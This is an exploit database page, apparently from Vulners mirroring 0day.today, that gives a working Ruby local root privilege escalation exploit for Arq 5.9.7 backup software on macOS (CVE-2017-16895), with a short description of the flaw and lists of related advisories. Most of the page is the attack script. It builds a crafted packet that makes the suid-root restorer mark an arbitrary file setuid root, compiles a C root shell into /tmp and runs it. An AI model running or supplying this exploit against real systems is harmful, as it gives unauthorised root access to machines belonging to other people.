Lucene search
K

Arq 5.9.7 - Local root Privilege Escalation Exploit

🗓️ 06 Dec 2017 00:00:00Reported by Mark WadhamType 
zdt
 zdt
🔗 0day.today👁 39 Views

Arq 5.9.7 Local Privilege Escalation Exploi

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2017-16895
6 Dec 201700:00
circl
CNVD
Haystack Arq for Mac helper app elevation of privilege vulnerability
5 Dec 201700:00
cnvd
CVE
CVE-2017-16895
1 Dec 201717:00
cve
Cvelist
CVE-2017-16895
1 Dec 201717:00
cvelist
EUVD
EUVD-2017-8066
7 Oct 202500:30
euvd
NVD
CVE-2017-16895
1 Dec 201717:29
nvd
OSV
CVE-2017-16895
1 Dec 201717:29
osv
Packet Storm
Arq Backup 5.9.7 Local Root Privilege Escalation
5 Dec 201700:00
packetstorm
Prion
Code injection
1 Dec 201717:29
prion
=begin
As well as the other bugs affecting Arq <= 5.9.6 there is also another issue
with the suid-root restorer binaries in Arq for Mac. There are three of them
and they are used to execute restores of backed up files from the various
cloud providers.
 
After reversing the inter-app protocol I discovered that the path to the
restorer binary was specified as part of the data packet sent by the UI. After
receiving this, the restorer binaries then set +s and root ownership on this
path. This means we can specify an arbitrary path which will receive +s and root
ownership.
 
This issue is fixed in Arq 5.10.
=end
 
#!/usr/bin/env ruby
 
##################################################################
###### Arq <= 5.9.7 local root privilege escalation exploit ######
###### by m4rkw - https://m4.rkw.io/blog.html               ######
##################################################################
 
s = File.stat("/Applications/Arq.app/Contents/Resources/standardrestorer")
 
if s.mode != 0104755 or s.uid != 0
  puts "Not vulnerable - standardrestorer is not suid root."
  exit 1
end
 
binary_target = "/tmp/arq_597_exp"
 
d = "\x01\x00\x00\x00\x00\x00\x00\x00"
e = "\x00\x00\x00\x00\x03"
z = "0000"
target = sprintf("%s%s-%s-%s-%s-%s%s%s", z,z,z,z,z,z,z,z)
plist = "<plist version=\"1.0\"><dict><\/dict><\/plist>"
backup_set = "0" * 40
hmac = "0" * 40
 
payload = sprintf(
  "%s%s%s%s\$%s%s\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00" +
  "\x00\x00\x00\x00\x00\x09\x00\x00\x02\xd0\x96\x82\xef\xd8\x00\x00\x00\x00" +
  "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x08\x30\x2e\x30" +
  "\x30\x30\x30\x30\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
  "\x00\x00\x00\x00\x00\x00\x00%s%s%s\x28%s\x01\x00\x00\x00%s\x00\x00\x00%s" +
  "\x00\x00\x00\x00\x16\x00\x00\x00\x02%s\x28%s\x01\x00\x00\x00%s\x00\x00" +
  "\x00%s\x00\x00\x00\x00\x00\x00\x00\x01\xf5\x00\x00\x00\x00\x00\x00\x00" +
  "\x14\x00%s\x00\x00\x00\x00\x03%s\x0a",
    d, binary_target.length.chr, binary_target,
    d, target,
    d, plist.length.chr, plist,
    d, backup_set,
    d, d, d, hmac,
    d, d, d, e * 10
  )
 
shellcode = "#include <unistd.h>\nint main()\n{ setuid(0);setgid(0);"+
  "execl(\"/bin/bash\",\"bash\",\"-c\",\"rm -f #{binary_target};/bin/bash\","+
  "NULL);return 0; }"
 
IO.popen("gcc -xc -o #{binary_target} -", mode="r+") do |io|
  io.write(shellcode)
  io.close
end
 
IO.popen("/Applications/Arq.app/Contents/Resources/standardrestorer " +
  "2>/dev/null", mode="r+") do |io|
  io.getc && io.write(payload)
end
 
timeout=3
i=0
 
while (s = File.stat(binary_target)) && (s.mode != 0104755 or s.uid != 0)
  sleep 0.1
  i += 1
 
  if i >= (timeout * 10)
    break
  end
end
 
if s.mode == 0104755 and s.uid == 0
  system(binary_target)
  exit 0
end
 
puts "exploit failed"

#  0day.today [2018-01-09]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Dec 2017 00:00Current
7.4High risk
Vulners AI Score7.4
EPSS0.00284
39